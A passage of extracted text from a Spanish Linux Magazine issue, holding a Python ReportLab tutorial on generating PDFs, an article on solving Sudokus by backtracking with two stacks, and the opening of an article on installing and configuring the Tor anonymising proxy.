tamente documentos PDF basán-

dose en comandos gráficos y sin

pasos intermedios, generando informes

en un tiempo extremada-

mente rápido y siendo de

gran utilidad en los

siguientes contextos:

generación dinámica de

PDFs en aplicaciones web

(empleado con Zope),

generación de informes y

publicación de datos

almacenados en bases de

datos, embebiendo el

motor de impresión en

aplicaciones para conse-

guir la generación de

informes a medida, etc.

Primeros pasosLo primero es tener instalados Python y

ReportLab para realizar todas las prue-

bas que van surgiendo y las que se nos

ocurran. En [1] se detallan los pasos que

Hoy en día se hace imprescindible disponer de herramientas que permitan generar informes en PDF de alta

calidad rápida y dinámicamente. Existen diferentes herramientas para esta finalidad, entre ellas cabe

destacar ReportLab, biblioteca gratuita que permite crear documentos PDF empleando como lenguaje de

programación Python. POR ANA M. FERREIRO Y JOSE A. GARCÍA

Figura 1: Coordenadas carte-

sianas de una hoja.

Page 58: Linux Magazine - Edición en Castellano, Nº 13

El tamaño de las hojas se

importa mediante from

reportlab.lib.pagesizes

import letter,A4,A5,A, y se

especifica en el Canvas

con la propiedad pagesize.

Muchas veces querremos

adaptar el dibujo a las

dimensiones de la hoja,

por lo que necesitamos

conocer el ancho y el alto

de la misma:

ancho=tipo_hoja[0] y

alto=tipo_hoja[1]; donde

tipo_hoja puede ser letter,

A4, A5 , etc.

La clase Canvas dispo-

ne de diferentes herramientas para dibu-

jar líneas, circunferencias, rectángulos,

arcos, etc. Además permite modificar el

color de los objetos, rotar, trasladar, indi-

car tipo y tamaño de fuente, etc. En el

código del Listado 1 podemos ver cómo

se dibujan, por ejemplo líneas,

mediante canvas.line(x1,y1,x2,y2); cír-

culos, empleando el método canvas.cir-

cle(x_centro,y_centro,radio,stroke=1,fill

=1); y rectángulos con esquinas redon-

deadas,

canvas.roundRect(x,y,ancho,alto,angu-

lo,stroke=1,fill=0). Nótese que cada

vez que se quiera emplear un color

nuevo hay que indicarlo mediante

canvas.setFillColorRGB(r,g,b), para el

color de relleno, o

canvas.setStrokeColorRGB(r,g,b), para

fijar el color de las líneas. La elección del

tipo de fuente se realiza usando

canvas.SetFont(tipo_fuente,tamaño). En

la Figura 3 se muestra el PDF que crea-

mos con el simple código del Listado 1.

Podemos probar a cambiar propiedades

(en el manual de ReportLab encontrare-

mos muchas otras).

Añadiendo imágenesEn este instante ya podemos demostrar

nuestra creatividad en dibujo “artístico”,

aunque de un modo bastante laborioso.

Seguro que más de uno preferimos

incluir en nuestros ficheros imágenes ya

creadas. Pues esto es posible: en el área

de descarga de Linux Magazine tenemos

la imagen Tux2.png para las diferentes

pruebas.

A la hora de incluir imágenes podemos

optar por las siguientes opciones. La pri-

canvas.Canvas(path__fichero) permite

indicar el nombre con el que se guardará

el PDF. El método drawString(x,y,cade-

na_texto) empieza a escribir el texto en la

coordenada (x,y) (se puede probar a cam-

biar las diferentes coordenadas). El méto-

do showPage() crea la página actual del

documento. Finalmente, save() guarda el

fichero en el path indicado.

En el ejemplo previo hemos creado un

PDF sin especificar el tamaño del docu-

mento, si queremos fijar el tamaño de la

hoja (A4, letter, A5, etc.) bastaría indi-

carlo en el Canvas mediante:

from reportlab.lib.U

pagesizes import letter,A4,A5,U

A3

c=canvas.Canvas("primer.pdf",U

pagesize=letter)

DESARROLLO • PDF Report

58 Número 13 W W W . L I N U X - M A G A Z I N E . E S

01 from reportlab.pdfgen import

canvas

02

c=canvas.Canvas("canvas_draw.p

df")

03 c.setFont("Helvetica",24)

04 c.line(50,50,50,350)

05 c.line(50,50,350,50)

06 c.setStrokeColorRGB(1,1,0.0)

07 c.setFillColorRGB(0,0.0,0.5)

08

c.roundRect(75,75,275,275,20,s

troke=0,

fill=1)

09 c.setFillColorRGB(0.8,0.,0.2)

10 c.circle(205,205,100,stro-

ke=1,fill=1)

11

c.setFillColorRGB(0.75,0.75,0.

)

12

c.drawString(125,80,"Cuadrado"

)

13 c.setFillColorRGB(0,1,0.2)

14

c.drawString(155,200,"Circulo"

)

15 c.setStrokeColorRGB(1,0,0.0)

16

c.ellipse(75,450,350,335,fill=

0)

17 c.setFillColorRGB(0,0,0.5)

18 c.drawString(150,375,"Elipse")

19 c.showPage()

20 c.save()

Listado 1: ejemplo2.py

Figura 2: Primer documento generado. El resultado impreso

refleja cómo controlar las coordenadas de una hoja.

Figura 3: Objetos que se pueden dibujar con un Canvas.

Page 59: Linux Magazine - Edición en Castellano, Nº 13

mera y más sencilla, pero con la que no

nos es posible rotar, trasladar, ni redi-

mensionar es mediante el método

drawImage(image,x,y,width=None,heig

ht=None) de la clase Canvas (si no se

especifica el alto y el ancho, coloca la

figura con sus dimensiones originales).

Mediante las siguientes líneas podemos

crear un fichero similar al de la Figura 4.

c.drawImage("Tux2.png",0,0)

c.drawImage("Tux2,png",200,300,U

width=30,height=60)

Si lo que pretendemos es rotar imágenes

o escalarlas, debemos emplear los obje-

tos Image(x,y,ancho,alto,path_imagen) y

Drawing(ancho,alto) que se importan

mediante from reportlab.graphics.shapes

import Image, Drawing. El objeto

Drawing puede escalarse, rotarse y tras-

ladarse; pero hay que tener en cuenta

que todas estas operaciones son acumu-

lativas (ver Figura 5). En el Listado 2

podemos ver cómo emplear correcta-

mente estos objetos (Figura 6).

Obsérvese que ahora el PDF no se genera

a partir de un Canvas, sino que se genera

mediante renderPDF.drawToFile(d,"can-

vas_image2.pdf"), donde

d=Drawing(A4[0],A4[1]). Podemos pro-

bar a modificar los valores de los distin-

tos métodos scale, rotate, translate;

observaremos que a veces la imagen

puede desaparecer del folio, eso es debi-

do a que los valores que se dan hacen

que nos salgamos de las dimensiones de

la página.

Creación de párrafos ytablasLa clase reportlab.platypus.Paragraph

permite escribir texto formateado (justi-

ficado, alineado a la derecha o

izquierda, centrado) en un aspecto ele-

gante, además de modificar el estilo y

color de t r o zos de la l ínea a t ra -

vés de XML. Mediante

Paragraph(texto,style,bulletText=None)

se instancia la clase; texto contiene el

texto del párrafo, en el que se eliminan

los espacios en blanco innecesarios;

bulletText indica si el párrafo se escribe

con un punto al inicio del mismo; la

fuente y otras propiedades del párrafo y

el punto se indican mediante el argu-

mento style. Veamos cómo añadir un

párrafo:

01 from reportlab.lib.styles

import getSampleStyleSheet

02

styleSheet=getSampleStyleShee

t()

03 story=[]

04 h1=styleSheet['Heading1']

05 h1.pageBreakBefore=0

06 h1.keepWithNext=1

07 h1.backColor=colors.red

08 P1=Paragraph("Estilo Cabecera

- h1 ",h1)

09 story.append(P)

10 style=styleSheet['BodyText']

11 P2=Paragraph("Estilo

BodyText"

,style)

12 story.append(P2)

El paquete reportlab.lib.styles contiene

estilos predefinidos. Con

getSampleStyleSheet obtenemos un estilo

ejemplo. Tenemos un estilo para la cabe-

cera y otro para el texto normal.

Mediante h1.pageBreakBefore=0 deci-

mos que no queremos un salto de página

cada vez que se escriba una cabecera h1,

en caso contrario basta escribir 1. Los

diferentes párrafos se van almacenando

en la lista story porque posterior-

mente se añaden al pdf a través el

paquete SimpleDocTemplate de repor-

tlab.platypus:

PDF Report • DESARROLLO

59Número 13W W W . L I N U X - M A G A Z I N E . E S

01 from reportlab.graphics.shapes

import Image, Drawing

02 from reportlab.graphics import

renderPDF

03 from reportlab.lib.pagesizes

import A4

04 inpath="Tux2.png"

05 IMAGES=[]

06 d=Drawing(80,100)

07 img=Image(200,0,80,100,inpath)

08 d.add(img)

09 d.rotate(45)

10 d.scale(1.5,1.5)

11 IMAGES.append(d)

12 d=Drawing(80,100)

13 d.add(img)

14 d.translate(10,0)

15 d.scale(2,2)

16 d.rotate(-5)

17 IMAGES.append(d)

18 d=Drawing(A4[0],A4[1])

19 for img in IMAGES:

20 d.add(img)

21 renderPDF.drawToFile(d,"can-

vas_image2.pdf")

Listado 2: Jugando conimagenes (ejemplo3_2.py)

Figura 4: Colocando imágenes con

drawImage. Figura 5: Modo en que se rota, traslada y

escala un objeto Drawing.

Figura 6: Ejemplo de rotación, traslación y

escalado de imágenes.

Page 60: Linux Magazine - Edición en Castellano, Nº 13

tener un texto

muy largo. Si

añadimos un

párrafo cuyo

texto sea

"Hola"*300,

seguro que se

generan más de

una hoja.

Si lo que que-

remos es añadir

una tabla, es

necesario impor-

tar from repor-

tlab.platypus

import

Table,TablsStyle.

Una tabla se crea

añadiendo una

lista de listas,

donde cada componente de la lista guar-

da la información de cada fila. Si quere-

mos construir una tabla de 5 filas y 3

columnas hacemos

t=Table([['','Ventas',U

'Compras'],U

['Enero',1000, 2000],U

['Febrero',3000,100.5],U

['Marzo',2000,1000],U

['Abril',1500,1500]]

En una tabla se puede fijar el estilo de

cada miembro de la misma. Si por ejem-

plo, se quiere que el texto de la primera

columna sea azul, y que los números

sean todos verdes, haremos

t.setStyle([U

('TEXTCOLOR',(0,1),(0,-1),U

colors.blue), ('TEXTCOLOR',U

(1,1), (2,-1),colors.green)])

En el código del Listado 3 mostramos un

ejemplo en él se ilustra cómo adaptar el

estilo según se quiera (Figura 7).

Podemos ver que para incluir un nuevo

elemento en el PDF es suficiente con ir

añadiendo cada objeto a la lista story.

Ahora ya sabemos todo lo necesario

para crear nuestros propios carteles, infor-

mes, catálogos, presentaciones, etc. �

doc=SimpleDocTemplate(U

"paragrahp.pdf", pagesize=A4,U

showBoundary=1)

doc.build(story)

En este caso, se genera un PDF con tan-

tas páginas como sea necesario.

Comprobar esto es tan sencillo como

DESARROLLO • PDF Report

60 Número 13 W W W . L I N U X - M A G A Z I N E . E S

[1] Reportlab: http://www.reportlab.org

RECURSOS

01 from reportlab.lib.pagesizes

import A4

02 from reportlab.lib.styles

import

getSampleStyleSheet,ParagraphS

tyle

03 from reportlab.platypus import

Spacer,

SimpleDocTemplate, Table,

TableStyle

04 from reportlab.platypus import

Paragraph, Image

05 from reportlab.lib import

colors

06

07

styleSheet=getSampleStyleSheet

()

08 story=[]

09 h1=styleSheet['Heading1']

10 h1.pageBreakBefore=0

11 h1.keepWithNext=1

12 h1.backColor=colors.red

13 h2=styleSheet['Heading2']

14 h2.pageBreakBefore=0

15 h2.keepWithNext=1

16 P=Paragraph("Estilo Cabecera -

h1 ",h1)

17 story.append(P)

18 P=Paragraph("Estilo h2 ",h2)

19 story.append(P)

20 style=styleSheet['BodyText']

21 texto=" Texto escrito para ver

como

crear ficheros PDF."+\

22 "Este parrafo esta escrito

en estilo BodyText"

23 texto_largo=texto

24 #texto_largo=texto*100

25 P=Paragraph(texto_largo,style)

26 story.append(P)

27 story.append(Spacer(0,12))

28

29

t=Table([['','Ventas','Compras

'],

30 ['Enero',1000, 2000],

31

['Febrero',3000,100.5],

32 ['Marzo',2000,1000],

33 ['Abril',1500,1500]]

34 )

35

36 story.append(t)

37

38 story.append(Spacer(0,15))

39 P=Paragraph("Cabecera h1",h1)

40 story.append(P)

41

42 cadena=''' Mediante ReportLab

es posible

43 generar ficheros PDF de

gran

44 calidad. Es posible

45 incluir graficos, image-

nes,

46 tablas; creando informes

47 de gran calidad '''

48 P=Paragraph(cadena,style)

49

50 story.append(Spacer(0,15))

51

52

img=Image("Tux2.png",width=80,

height=100)

53 story.append(img)

54 doc=SimpleDocTemplate("para-

grahp.pdf",pagesize=A4,showBou

ndary=1)

55 doc.build(story)

Listado 3: Crear Tablas y Párrafos (ejemplo4.py)

Figura 7: Ejemplo de párrafo, tabla e imagen.

Page 61: Linux Magazine - Edición en Castellano, Nº 13

HAL 9000 contra los Sudokus MutantesHAL 9000 contra los Sudokus Mutantes

SUDOKUSSUDOKUS

Python • DESARROLLO

61Número 13W W W . L I N U X - M A G A Z I N E . E S

Ingeniosos», tiene como fin resolver pro-

blemas complejos. El lector puede dor-

mir tranquilo, porque por el momento

sus éxitos no han conseguido simular

cerebros reales, Terminator aún no está

cerca. En cambio, los éxitos

cosechados en problemas

complicados, como el control

aéreo o la planificación, han

sido mucho más espectacula-

res de lo que se creía.

Pero dicho de esa manera

parece quitársele el glamour,

cuando en realidad aún lo

tiene. Uno de los campos que

más éxito ha tenido ha sido en la crea-

ción de algoritmos de búsqueda de solu-

ciones. ¿Recuerda el lector las noticias

sobre ordenadores que derrotan a gran-

des maestros de ajedrez? Pues su éxito se

debe a sofisticados algoritmos de bús-

queda de soluciones.

¿Qué es un Sudoku?Según la página de Wikipedia, un pasa-

tiempo japonés que apareció a mediados

de los años 80 en los diarios nipones y

que en el año 2005 ha arrasado en los del

resto del mundo. El jugador tiene una

matriz de nueve filas por nueve colum-

nas de las cuales algunas celdas tienen

números y el resto huecos. Se tienen que

rellenar los huecos de manera que en

cada fila y columna aparezcan los núme-

ros de uno al nueve sin repetirse. Así de

simple y así de complicado.

Nosotros vamos a ver, y a

implementar, un algoritmo

bastante famoso: el

Backtracking o Vuelta Atrás

(haré uso del nombre en

inglés por ser el de más uso)

para solucionar Sudokus.

El Backtracking.Se trata de un algoritmo de

búsqueda en el cual se explora un árbol

de soluciones en anchura o profundidad.

Dicho de esta manera queda muy técnico

así que mejor vemos un ejemplo con un

«mini-sudoku».

Digamos que tenemos el siguiente pro-

blema: se nos presenta un cuadro como

el de la Figura 1, tres filas por tres

columnas, donde algunas de ellas están

ocupadas pero otras no. En cada hueco

solo podemos poner un número com-

prendido entre el 1 y el 3 de tal manera

que en cada fila y en cada columna solo

aparezca cada uno de estos números una

vez. Por tanto es imposible encontrar

una fila que muestre un <1,3,3> o un

¿Ha sucumbido el lector a los

Sudokus? Debo confesar que

jamás he hecho uno. Soy una per-

sona algo vaga, debo reconocerlo, y la

idea de estar mucho tiempo delante de

un problema que no me reporta nada

(alguno dirá diversión, pero no es mi

caso) no me atrae demasiado.

El Ataque de los SudokusAsesinosPero si el verano del año 2005 se recorda-

rá por algo, será por el Reageton (o como

se escriba) y por los omnipresentes

Sudokus. Los hemos visto en los periódi-

cos, en revistas, en bolsas de comesti-

bles… y más de uno ha comprado libros

de Sudokus para echar el rato. Tal ha

sido la acogida que un día vino mi her-

mano diciendo que no era capaz de

resolver uno. Me pidió consejo, pero le

dije que no tenía ni idea de qué iba la

cosa.

Después de leer sobre el tema pensé

que sería buena idea usarlo como base

para explicar algunos conceptos de

Inteligencia Artificial aplicados a Python.

Búsqueda de soluciones.La Inteligencia Artificial, o como gustan

muchos de llamarla «Algoritmos

Python es un lenguaje que gusta mucho en la comunidad de Inteligencia Artificial, no en vano Google dice

que es una de sus armas. Hoy vamos a convertirlo en la nuestra.

POR JOSÉ MARÍA RUIZ Y JOSE PEDRO ORANTES

Un mini-Sudoku de

3x3 casillas.

Page 62: Linux Magazine - Edición en Castellano, Nº 13

corresponderá con una lista, por tanto

un sudoku de tres filas por tres columnas

podrá ser:

>>> sudoku = [[1,0,0],

[0,2,0],

[0,0,3]]

>>> sudoku[0][0]

1

>>> sudoku[1][2]

0

Ahora ya podemos trabajar sobre una

estructura de datos. Los huecos los

vamos a representar como 0s. Cuando

nos movemos por el Sudoku tenemos

que tener en cuenta cuando nos hemos

salido de la fila y tenemos que seguir en

la siguiente. Para ello vamos a emplear

una clase que llamaremos Posicion.

Esta clase nos va a permitir controlar

la posición de manera sencilla a través

de sus métodos. Funcionará como un ite-

rador: primero definimos los límites,

tenemos un método que nos permite

avanzar y otros para ajustar los valores o

recojerlos. Podemos ver el código en el

Listado 1. Un ejemplo de uso es:

01 >>> p = Posicion(1,1)

02 >>> p.getPos()

03 [0,0]

04 >>> p.sig()

05 >>> p.sig()

06 >>> p.getPos()

07 [1,0]

08 >>> p.sig()

09 >>> p.sig()

10 >>> p.fin()

11 true

12 >>> p.getPos()

13 [-1,-1]

A Posicion le pasaremos el tamaño de las

filas y las columnas del Sudoku, que al

ser cuadrado serán los mismo.

El Sudoku.Vamos a crear una función que nos per-

mita visualizar el Sudoku. Podemos ver

el código en el Listado 2. Pero esta fun-

ción acepta dos parámetros en lugar de

uno ¿por qué? Usaremos una representa-

ción algo extraña. En lugar de ir relle-

nando los huecos sobre el propio Sudoku

vamos a ir introduciendo los número que

corresponden a los huecos en una PILA

donde cada elemento tendrá la forma

<FILA,COLUMNA,VALOR>. La razón

de hacerlo así es que nos permitirá traba-

jar de manera más sencilla durante la

búsqueda. En la función imprime esta

PILA recibe el nombre de asignadas.

En esta función generamos barras de

guiones y recorremos el Sudoku impri-

miendo las filas hasta completar un

tablero. Se puede observar el resultado

final en la Figura 2.

Buscando PosibilidadesCuando estemos en un hueco, necesita-

mos generar una lista de números no

usados ni en la fila ni en la columna en

las que se encuentra. Esa será la tarea de

la función prueba que aparece en el

Listado 3. Esta función generará una

lista con los números sin utilizar. Para

hacerlo prueba todos los números posi-

bles tanto en la fila como en la columna.

Si no encuentra ninguno disponible

devuelve una lista [-1].

Como ya dijimos antes, guardaremos

los huecos rellenos en una PILA, y por

<2,1,1>. ¿Donde está el juego? en

hallar los números que hay que poner en

cada hueco de forma consecutiva de tal

manera que se verifique que cada núme-

ro es único en su fila y su columna.

¿Cómo podríamos elaborar un programa

que resuelva este puzzle? Existen varias

opciones, pero nos centraremos en la

que queremos ver.

Comenzaríamos centrándonos en los

huecos, por tanto debemos ignorar las cel-

das que estén ocupadas. Para cada hueco

tenemos que elegir un número que no se

encuentre ni en su fila ni en su columna.

Vamos a necesitar, por tanto, una función

que escanee ambas en busca de números

no usados. Seleccionaremos uno de los

posibles números y avanzaremos hacia la

derecha rellenando los huecos hasta llegar

al último.

Estructura de datosNo vamos a complicar mucho el diseño,

usaremos una lista de listas. Cada fila se

DESARROLLO • Python

62 Número 13 W W W . L I N U X - M A G A Z I N E . E S

01 class Posicion:

02 ### Gestiona una posición,

controlando los incrementos

03 ###

04 def __init__(self,maxfi-

la,maxcol):

05 self.maxfila = maxfila

06 self.maxcol = maxcol

07 self.fila = 0

08 self.col = 0

09

10 def setFila(self, fila):

11 if fila < 0:

12 self.fila = 0

13 elif fila >= self.max-

fila:

14 self.fila = -1

15 else:

16 self.fila = fila

17

18 def setCol(self, col):

19 if col < 0:

20 self.col = 0

21 elif col >= self.max-

col:

22 self.col = -1

23 else:

24 self.col = col

25

26 def getFila(self):

27 return self.fila

28

29 def getCol(self):

30 return self.col

31

32 def fin(self):

33 return self.fila == -1

and self.col == -1

34

35 def reset(self):

36 self.fila = 0

37 self.col = 0

38

39 def sig(self):

40 # Incrementa la posi-

ción controlando que no se

pasa

41 # del final.

42 if not self.fin():

43 self.col += 1

44 if self.col ==

self.maxcol:

45 self.col = 0

46 self.fila +=1

47 if self.fila

== self.maxfila:

48 self.fila

= -1

49 self.col =

-1

50

51 def getPos(self):

52 return [self.fila,

self.col]

Listado 1: clase «Posicion()».

Page 63: Linux Magazine - Edición en Castellano, Nº 13

eso prueba no solo busca en nuestro

Sudoku, sino en esta PILA, para buscar

en los números que ya hemos puesto.

Por tanto primero escanearemos la fila,

después la columna y por último la

PILA.

Cada número que no aparezca en nin-

guno de los tres sitios será añadido a una

lista que se devuelve al acabar la fun-

ción.

¿Qué es el Backtracking?Podemos contestar haciendo otra pre-

gunta ¿qué ocurrirá si en un momento

dado la función prueba nos devuelve

una lista vacía? Eso quiere decir que no

se ha encontrado ningún número libre

para poder usarlo. ¿Acaba con esto nues-

tro intento de Sudoku? ¡Ni mucho

menos! ahora comienza lo divertido.

Un jugador humano suele tantear,

pone un número aquí y otro allí. Intenta

ir ajustado «a ojo» la posición de cada

número. Nosotros estamos creando un

programa, y estos suelen ser muy metó-

dicos y mecánicos en lo que hacen. En

palabras técnicas vamos a explorar el

espacio de posibilidades.

Imagina todas las combinaciones posi-

bles de números que se pueden poner en

el Sudoku, pues nosotros vamos a ir

recorriéndolas paso a paso. Pero no lo

vamos a hacer de manera tan bruta, sino

que iremos comprobando hasta donde

podemos llegar con cada una y cuando

nos atasquemos, «volveremos atrás»

hasta el último paso donde pudimos ele-

gir entre varios números y cogeremos el

siguiente al que cogimos la última vez.

Si llegamos al hueco [1,3] y podemos

elegir entre el 1, el 3 y el 5; escogeremos

el primero, el 1, y nos guardaremos el 3 y

el 5 por si los necesitamos. Avanzaremos

tanto como podamos y cuando no poda-

mos seguir, porque sea imposible, iremos

deshaciendo el camino hecho y escogien-

do en cada paso las otras posibilidades.

Dicho así parece intuitivo y hasta fácil,

pero hacer un programa que haga esto

no es tan sencillo como pudiese parecer.

Existen varias técnicas y este proceso

posee innumerables optimizaciones.

Pero nosotros nos quedaremos con el

caso básico.

Cuando comencé a escribir el progra-

ma opté por el enfoque recursivo, que

consiste en hacer una función que se lla-

men a sí misma. Esta manera de hacer el

programa requiere menos código pero en

cuanto el Sudoku crece el programa deja

de funcionar debido a que satura la pila

del sistema. Esto ocurre cuando se invo-

ca a muchas funciones, unas dentro de

otras, y con problemas de este tipo pode-

mos tener cientos o miles de invocacio-

nes con lo que, tarde o temprano, el pro-

grama dará un error. El otro enfoque

básico consiste en usar bucles, es menos

«elegante» pero no explota :).

¿Pero como vamos a guardar tanto la

ruta como las opciones que no escogi-

mos? Es hora de desvelar el misterio.

Las dos pilasEl truco consiste en emplear dos pilas.

Las pilas son estructuras de datos que

nos permite guardar información y recu-

perarla posteriormente de una manera

peculiar: lo último que almacenemos

será lo primero que podamos guardar. Es

como una pila de platos, puedes poner-

los unos encima de otros, pero es com-

plicado sacarlos desde abajo así que se

sacan en orden inverso a como se pusie-

ron.

Puede parecer una tontería, pero la

estructura de pila es vital en casi todos

los ámbitos de la informática y es quizás

uno de sus mayores descubrimientos. Su

secreto consiste en aprovechar su mane-

ra de funcionar.

Haremos lo siguiente: tendremos dos

pilas, una para guardar las elecciones

hechas hasta el momento (con las más

antiguas al fondo y las más nuevas al

frente) y otra para ir almacenando las

opciones que no escogimos. Por ejemplo

digamos que estamos en la posición

[3,4] y que la función prueba nos ha

devuelto la lista [3,7,9], entonces las

pilas tendrán los valores:

>>> pilaActual

[...[3,3,2],[3,4,3]]

>>> pilaPosibles

[...[3,4,7],[3,4,9]]

Supongamos que después de una serie

de malas elecciones hemos llegado hasta

[3,4,3] y ninguna de las elecciones poste-

riores nos ha valido. Debemos retractar-

nos de nuestra elección de [3,4,3] esco-

giendo ahora otra de las opciones que

guardamos. Para ello usaremos la fun-

ción pop(), que extrae el último elemen-

to de una lista:

>>> pilaActual.pop()

[3,4,3]

>>> pilaActual

[...[3,3,2]]

>>> pilaActual.appendU

(pilaPosibles.pop())

[...[3,3,2],[3,4,7]]

>>> pilaPosibles

[...[3,4,9]]

Python • DESARROLLO

63Número 13W W W . L I N U X - M A G A Z I N E . E S

01 def imprime(sudoku, asigna-

das):

02 barra = ""

03 for i in range(0,COLUM-

NAS):

04 barra += "·---"

05 barra += "."

06

07 print barra

08 for fila in

range(0,len(sudoku)):

09 cadena = ""

10 for columna in

range(0,len(sudoku)):

11 if

sudoku[fila][columna] == 0:

12 encontrado =

False

13 for a in asig-

nadas:

14 if a[0] ==

fila and a[1] == columna:

15 cadena

+= "| "+ str(a[2]) + " "

16 encon-

trado = True

17 if not encon-

trado:

18 cadena +=

"|"+" "

19 else:

20 cadena += "|

"+str(sudoku[fila][columna])+"

"

21 cadena += "|"

22 print cadena

23 print barra

Listado 2: función «impri-me()».

Mostramos un Sudoku para su resolución.

Page 64: Linux Magazine - Edición en Castellano, Nº 13

bucle es peligroso, porque en él es donde

se da la condición que acaba con la fun-

ción, por eso tenemos un return dentro

de él.

Comprobamos si prueba nos devuelve

[-1], indicativo de que es imposible esco-

ger un número porque todos están ya

cogidos. Es aquí donde ejecutamos el

Backtracking, pero lo veremos después,

sigamos con el else.

Una vez que tenemos la lista de posi-

bles números, cogemos el primero y lo

almacenamos en pilaActual para poder

seguir avanzando. Los otros posibles

números se almacenan, junto a la posi-

ción del hueco, en la pilaPosibles para su

posterior uso si fuese necesario. Es

entonces cuando avanzamos a la

siguiente posición.

Recuperemos el tema del

Backtracking, prueba() nos había comu-

nicado que no era posible dar ningún

número candidato. Lo primero que hace-

mos es desapilar con pop() el último

estado de pilaActual, porque desde ahí

no nos hemos podido mover a la siguien-

te posición. ¿Por qué hay un bucle while?

Como hemos ido introduciendo en una

pila las otras posibilidades, las más

recientes son las que están al final de la

pila. Si las coordenadas de los estados

que vamos sacando de pilaActual no

coinciden con las de pilaPosibles… ¿qué

puede significa eso?

>>> pilaActual

[......[6,1,4],[6,2,8][6,3,9]]

>>> pilaPosibles

[......[6,1,5]]

Pues que no existen alternativa para

[6,2,8] ni [6,3,9], lo único que podemos

hacer es desapilar estados de pilaActual

hasta encontrar uno que coincida en

coordenadas con el último de

pilaPosibles. Sería como haber avanzado

hasta el hueco [6,3], volver hasta el [6,1]

y arrancar de nuevo. Cuando acabamos

de desapilar actualizamos la posición a

la de [6,1] y la avanzamos, porque ahora

buscaremos cubrir el hueco [6,2].

¡Y ya está! Es algo complejo, pero

ahora podemos resolver Sudokus auto-

máticamente… ¿y el rendimiento? Las

exploraciones de espacios de soluciones

son lentas. No he introducido optimiza-

ciones porque complicarían innecesaria-

mente el código.

En mi máquina, 1600Mhz, tarda alre-

dedor de 10 minutos en resolver el

Sudoku. Esto se debe a que Python no es

tan eficiente como otros lenguajes. En la

página de Wikipedia acerca de los

Sudokus se dice que los algoritmos que

los resuelven de manera eficiente tardan

entorno a dos minutos, así que el lector

se puede hacer una idea de donde está el

límite.

Aún así nuestro código, sin ser el más

óptimo, es sin duda de los más sencillos.

Como dice el gran maestro Knuth, «la

optimización prematura es el origen de

todos los males». Lo importante es que el

programa sea sencillo, fácil de escribir y

correcto. Después siempre hay tiempo

para optimizar. �

Hemos sacado [3,4,3] de pilaActual y lo

hemos reemplazado por [3,4,7] que

sacamos de pilaPosibles. Eso ha sido un

«Backtracking». El código de la función

que realiza la búsqueda y el

Backtracking aparece en el listado 4 (dis-

ponible en [1]. Vamos a analizarla con

más detalle.

La función «resuelve()»Lo primero que hacemos es conseguir el

tamaño de nuestro Sudoku y preparar las

pilas (que son listas vacías) así como

una variable que represente la posición.

Entonces entramos en un bucle while del

que saldremos cuando hayamos llegado

al final del Sudoku.

En el bucle buscamos todas los posi-

bles números que se pueden usar en un

hueco. Si la función prueba() nos

devuelve una lista vacía, entonces debe-

mos avanzar a la siguiente posición por-

que la actual ya tiene un número. Este

DESARROLLO • Python

64 Número 13 W W W . L I N U X - M A G A Z I N E . E S

[1] Listado completo de este artículo en

http://www.linux-magazine.es

/Magazine/Downloads/13

RECURSOS

01 def prueba(sudoku, asignadas,

fila, col):

02 # Puede dar 3 cosas:

03 # a) [] si está ocupado

04 # b) tupla con números

posibles

05 # c) [-1] si es imposible

06

07 if sudoku[fila][col] != 0:

08 return []

09

10 else:

11 resultado = []

12

13 # probamos todos los

números posibles

14 for n in range(1,LINE-

AS+1):

15

16 existe = False

17

18 # barremos lineas

19 for l in

range(0,LINEAS):

20 if

sudoku[l][col] == n:

21 existe =

True

22 break

23

24 # barremos colum-

nas

25 for c in

range(0,COLUMNAS):

26 if

sudoku[fila][c] == n:

27 existe =

True

28 break

29 # Buscamos en las

posiciones asignadas

30 for asig in asig-

nadas:

31 if asig[0] ==

fila and asig[2] == n:

32 existe =

True

33 break

34 if asig[1] ==

col and asig[2] == n:

35 existe =

True

36 break

37

38 if not existe:

39

resultado.append(n)

40

41 if resultado == []:

42 # Un callejón sin

salida

43 resultado = [-1]

44

45 return resultado

Listado 3: función «prueba()».

Page 65: Linux Magazine - Edición en Castellano, Nº 13

The Onion Router (TOR) [1] se eje-

cuta como un proxy Socks 4 y

maneja las conexiones entrantes

por una red de servidores distribuidos,

independientes, quitando cualquier ras-

tro de los paquetes de datos originales.

El Onion es parecido a Java Anonymous

Proxy (JAP), una herramienta que sopor-

ta la navegación anónima. Su ex no será

capaz de averiguar la dirección IP de una

entrada en el blog para averiguar quién

añadió aquellos comentarios poco gratos

sobre él/ella. La dirección IP será la del

último servidor al que Onion encamine

la cadena.

Descargué Tor desde [2], que tiene una

colección de paquetes preparados para

una gran variedad de distribuciones

Linux, derivados BSD, MacOS y

Windows. Decidí compilarlo utilizando

los ficheros tar, un proceso rápido. He

instalado las bibliotecas de OpenSSL y

Libevent en mi equipo, pero luego tuve

que hacer el procedimiento estándar: ./

configure && make && make install.

Como no especifiqué ninguna preferen-

cia para el directorio de destino, los bina-

rios fueron a /usr/local/bin, y un fichero

de configuración de ejemplo fue a parar

a /usr/local/etc/tor/.

Es preferible configurar un usuario Tor

cada vez que ejecute Tor con privilegios

de root. Tor soporta modos de operación

cliente y servidor. En modo cliente es útil

si su equipo tiene una dirección privada,

no enrutable, por ejemplo 10.x.x.x y uti-

liza una puerta de enlace NAT para cone-

xiones Internet. Para equipos con

módem, el modo cliente también

es la elección correcta.

La configuración es muy sim-

ple. Después de ejecutarlo,

Tor escucha en el

puerto 9050 para

las conexio-

nes entran-

tes de Socks

4. Puede

apuntar su

navegador

a este puerto

para enrutar las conexiones

mediante la red de enrutado de

Onion. La documentación

correcta apunta a que sería

buena idea utilizar la combina-

ción de Tor y Privoxy para nave-

gar. Para mas detalles, vaya a

[3].

Socks con NodosSi tiene una dirección IP pública y

bastante ancho de banda, querrá eje-

cutar Tor en modo servidor. La ventaja

del modo servidor es que su equipo se

convierte en un nodo sobre Onion que

encamina la red. Cuantos más nodos

tenga la red más eficiente la hacen y

mejor funcionamiento tiene. Nada se

cambia desde el punto de vista del uso

de Socks – el servidor es todavía un

proxy Socks 4.

Tendrá que tener cuidado con algunas

cosas si ejecuta Tor en modo servidor. Su

reloj de sistema debería ser tan exacto

como fuese posible; puede sincronizarlo

con un servidor de tiempo. También

tiene que añadir un alias para el servidor

al archivo de configuración torrc (viene

muy bien documentado), además tiene

que especificar qué puerto del servidor

escuchará las conexiones entrantes.

También son útiles otros ajustes, como

límites de amplitud de banda o redes a

las que quiere permitir o denegar cone-

xiones entran-

tes.

La exit

policy es digna

de ser leída.

Esta política

oculta el meca-

nismo de Tor para

prevenir conexio-

nes a puertos específicos. En este caso,

el programa no enrutará el correo elec-

trónico, incluso si un cliente de correo

